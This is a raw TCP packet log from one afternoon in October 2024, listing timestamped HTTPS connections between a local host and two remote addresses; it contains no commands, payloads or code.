Oct 8, 2024 20:52:06.151546001 CEST	49740	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.151587963 CEST	443	49740	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.151652098 CEST	49740	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.151813984 CEST	49740	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.151830912 CEST	443	49740	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.152124882 CEST	443	49735	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.152184963 CEST	443	49735	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.152224064 CEST	49735	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.152322054 CEST	49735	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.152337074 CEST	443	49735	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.152347088 CEST	49735	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.152352095 CEST	443	49735	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.155127048 CEST	49741	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.155179977 CEST	443	49741	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.155374050 CEST	49741	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.155427933 CEST	49741	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.155443907 CEST	443	49741	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.435992002 CEST	443	49737	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.436719894 CEST	49737	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.436743975 CEST	443	49737	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.437587976 CEST	49737	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.437593937 CEST	443	49737	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.565215111 CEST	443	49737	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.565282106 CEST	443	49737	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.565429926 CEST	49737	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.565661907 CEST	49737	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.565680981 CEST	443	49737	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.565691948 CEST	49737	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.565696955 CEST	443	49737	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.569550037 CEST	49742	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.569610119 CEST	443	49742	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.569865942 CEST	49742	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.570048094 CEST	49742	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.570067883 CEST	443	49742	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.773127079 CEST	443	49738	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.796335936 CEST	443	49739	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.805264950 CEST	443	49741	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.805304050 CEST	49738	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.805325985 CEST	443	49738	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.811568022 CEST	443	49740	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.813070059 CEST	49738	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.813076973 CEST	443	49738	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.828840017 CEST	49739	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.828875065 CEST	443	49739	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.829323053 CEST	49739	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.829349995 CEST	443	49739	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.848712921 CEST	49741	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.848793030 CEST	49741	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.848805904 CEST	443	49741	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.856654882 CEST	49741	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.856661081 CEST	443	49741	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.864317894 CEST	49740	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.872237921 CEST	49740	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.872253895 CEST	443	49740	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.879888058 CEST	49740	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.879899979 CEST	443	49740	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.909431934 CEST	443	49738	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.909507036 CEST	443	49738	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.909578085 CEST	49738	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.914511919 CEST	49738	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.914536953 CEST	443	49738	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.914549112 CEST	49738	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.914557934 CEST	443	49738	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.925559044 CEST	443	49739	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.925617933 CEST	443	49739	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.925681114 CEST	49739	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.941314936 CEST	49739	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.941314936 CEST	49739	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.941344023 CEST	443	49739	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.941353083 CEST	443	49739	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.956288099 CEST	443	49741	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.956435919 CEST	443	49741	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.956513882 CEST	49741	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.970191956 CEST	49741	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.970191956 CEST	49741	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.970237970 CEST	443	49741	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.970254898 CEST	443	49741	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.975677013 CEST	49743	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.975737095 CEST	443	49743	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.975820065 CEST	49743	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.978305101 CEST	443	49740	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.978477001 CEST	443	49740	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.978548050 CEST	49740	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.029237986 CEST	49740	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.029237986 CEST	49740	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.029237986 CEST	49743	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.029300928 CEST	443	49740	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.029367924 CEST	443	49740	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.029409885 CEST	443	49743	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.032146931 CEST	49744	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.032176971 CEST	443	49744	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.032250881 CEST	49744	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.033225060 CEST	49744	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.033242941 CEST	443	49744	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.033334970 CEST	49745	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.033361912 CEST	443	49745	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.033420086 CEST	49745	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.033550978 CEST	49745	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.033565998 CEST	443	49745	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.034041882 CEST	49746	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.034050941 CEST	443	49746	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.034106970 CEST	49746	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.034221888 CEST	49746	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.034235001 CEST	443	49746	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.303571939 CEST	443	49742	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.304239988 CEST	49742	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.304292917 CEST	443	49742	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.304733038 CEST	49742	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.304744005 CEST	443	49742	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.409749031 CEST	443	49742	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.409826040 CEST	443	49742	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.409879923 CEST	49742	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.410046101 CEST	49742	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.410068035 CEST	443	49742	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.410080910 CEST	49742	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.410088062 CEST	443	49742	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.413217068 CEST	49747	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.413258076 CEST	443	49747	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.413415909 CEST	49747	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.413508892 CEST	49747	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.413525105 CEST	443	49747	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.740935087 CEST	443	49746	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.741420031 CEST	49746	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.741458893 CEST	443	49746	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.741938114 CEST	49746	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.741944075 CEST	443	49746	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.744462967 CEST	443	49743	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.744776964 CEST	49743	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.744811058 CEST	443	49743	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.745156050 CEST	49743	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.745162964 CEST	443	49743	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.757118940 CEST	443	49744	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.757656097 CEST	49744	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.757668018 CEST	443	49744	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.758728027 CEST	49744	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.758749962 CEST	443	49744	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.764906883 CEST	443	49745	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.765305042 CEST	49745	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.765332937 CEST	443	49745	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.765728951 CEST	49745	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.765736103 CEST	443	49745	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.841253042 CEST	443	49746	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.841315031 CEST	443	49746	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.841375113 CEST	49746	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.841542006 CEST	49746	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.841566086 CEST	443	49746	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.841578007 CEST	49746	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.841584921 CEST	443	49746	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.844140053 CEST	49748	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.844180107 CEST	443	49748	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.844357014 CEST	49748	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.844532013 CEST	49748	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.844547987 CEST	443	49748	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.847958088 CEST	443	49743	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.848036051 CEST	443	49743	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.848100901 CEST	49743	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.848220110 CEST	49743	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.848242998 CEST	443	49743	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.848297119 CEST	49743	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.848319054 CEST	443	49743	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.850260019 CEST	49749	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.850311995 CEST	443	49749	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.850388050 CEST	49749	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.850581884 CEST	49749	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.850600958 CEST	443	49749	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.860116005 CEST	443	49744	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.860256910 CEST	443	49744	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.860368013 CEST	49744	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.860368013 CEST	49744	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.860487938 CEST	49744	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.860503912 CEST	443	49744	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.862519979 CEST	49750	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.862556934 CEST	443	49750	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.862649918 CEST	49750	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.862770081 CEST	49750	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.862786055 CEST	443	49750	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.872036934 CEST	443	49745	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.872087955 CEST	443	49745	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.872165918 CEST	49745	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.872312069 CEST	49745	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.872337103 CEST	443	49745	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.872350931 CEST	49745	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.872359037 CEST	443	49745	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.875394106 CEST	49751	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.875421047 CEST	443	49751	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.875613928 CEST	49751	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.875613928 CEST	49751	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:07.875641108 CEST	443	49751	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:07.948093891 CEST	49752	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:07.948144913 CEST	443	49752	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:07.948282957 CEST	49752	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:08.040231943 CEST	49752	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:08.040261984 CEST	443	49752	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:08.185934067 CEST	443	49747	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.187400103 CEST	49747	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.187400103 CEST	49747	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.187421083 CEST	443	49747	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.187436104 CEST	443	49747	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.294496059 CEST	443	49747	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.294565916 CEST	443	49747	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.294801950 CEST	49747	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.294801950 CEST	49747	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.295403957 CEST	49747	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.295420885 CEST	443	49747	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.297594070 CEST	49753	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.297622919 CEST	443	49753	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.297686100 CEST	49753	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.297846079 CEST	49753	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.297857046 CEST	443	49753	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.518553019 CEST	443	49752	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:08.518623114 CEST	49752	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:08.521989107 CEST	49752	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:08.521996975 CEST	443	49752	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:08.522254944 CEST	443	49752	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:08.532040119 CEST	49752	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:08.553682089 CEST	443	49748	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.554549932 CEST	49748	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.554572105 CEST	443	49748	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.554627895 CEST	49748	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.554631948 CEST	443	49748	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.564233065 CEST	443	49751	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.564654112 CEST	49751	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.564665079 CEST	443	49751	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.565160036 CEST	49751	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.565164089 CEST	443	49751	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.575395107 CEST	443	49752	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:08.577869892 CEST	443	49750	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.578300953 CEST	49750	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.578319073 CEST	443	49750	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.578809023 CEST	49750	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.578813076 CEST	443	49750	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.584415913 CEST	443	49749	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.584794044 CEST	49749	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.584803104 CEST	443	49749	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.585217953 CEST	49749	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.585222960 CEST	443	49749	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.658602953 CEST	443	49748	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.658663988 CEST	443	49748	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.658771038 CEST	49748	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.658899069 CEST	49748	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.658910990 CEST	443	49748	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.664319038 CEST	49754	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.664351940 CEST	443	49754	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.664422989 CEST	49754	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.665832043 CEST	443	49751	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.665879011 CEST	443	49751	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.665966034 CEST	49751	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.672506094 CEST	49754	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.672521114 CEST	443	49754	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.673002958 CEST	49751	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.673010111 CEST	443	49751	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.673831940 CEST	49751	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.673836946 CEST	443	49751	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.675858021 CEST	49755	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.675889969 CEST	443	49755	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.675949097 CEST	49755	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.676060915 CEST	49755	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.676071882 CEST	443	49755	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.692666054 CEST	443	49749	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.692728043 CEST	443	49749	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.692800045 CEST	49749	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.692929029 CEST	49749	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.692946911 CEST	443	49749	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.692956924 CEST	49749	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.692962885 CEST	443	49749	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.694878101 CEST	443	49750	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.694926977 CEST	443	49750	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.694967031 CEST	49750	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.695102930 CEST	49750	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.695112944 CEST	443	49750	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.695122957 CEST	49750	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.695127964 CEST	443	49750	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.696019888 CEST	49756	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.696058035 CEST	443	49756	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.696110964 CEST	49756	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.696249962 CEST	49756	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.696260929 CEST	443	49756	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.697304964 CEST	49757	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.697345018 CEST	443	49757	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:08.697417021 CEST	49757	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.697523117 CEST	49757	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:08.697535038 CEST	443	49757	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.002883911 CEST	443	49752	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:09.002960920 CEST	443	49752	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:09.003025055 CEST	49752	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:09.003837109 CEST	443	49753	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.004343987 CEST	49753	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.004355907 CEST	443	49753	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.004828930 CEST	49753	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.004833937 CEST	443	49753	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.035691023 CEST	49752	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:09.100595951 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:09.100636005 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:09.100711107 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:09.101013899 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:09.101032972 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:09.107206106 CEST	443	49753	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.107259035 CEST	443	49753	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.107322931 CEST	49753	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.107494116 CEST	49753	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.107511997 CEST	443	49753	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.107525110 CEST	49753	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.107532024 CEST	443	49753	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.110311985 CEST	49759	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.110326052 CEST	443	49759	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.110394955 CEST	49759	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.110522032 CEST	49759	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.110536098 CEST	443	49759	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.373548985 CEST	443	49755	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.375727892 CEST	443	49754	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.376626015 CEST	443	49757	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.382155895 CEST	443	49756	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.397133112 CEST	49755	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.397154093 CEST	443	49755	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.397675037 CEST	49755	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.397680044 CEST	443	49755	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.398133039 CEST	49754	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.398159027 CEST	443	49754	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.398732901 CEST	49754	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.398739100 CEST	443	49754	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.399171114 CEST	49757	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.399187088 CEST	443	49757	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.399636030 CEST	49757	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.399641037 CEST	443	49757	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.400078058 CEST	49756	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.400105000 CEST	443	49756	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.400585890 CEST	49756	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.400592089 CEST	443	49756	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.500572920 CEST	443	49755	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.500624895 CEST	443	49755	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.500741005 CEST	49755	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.501543999 CEST	443	49754	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.501566887 CEST	443	49757	13.107.246.45	192.168.2.9
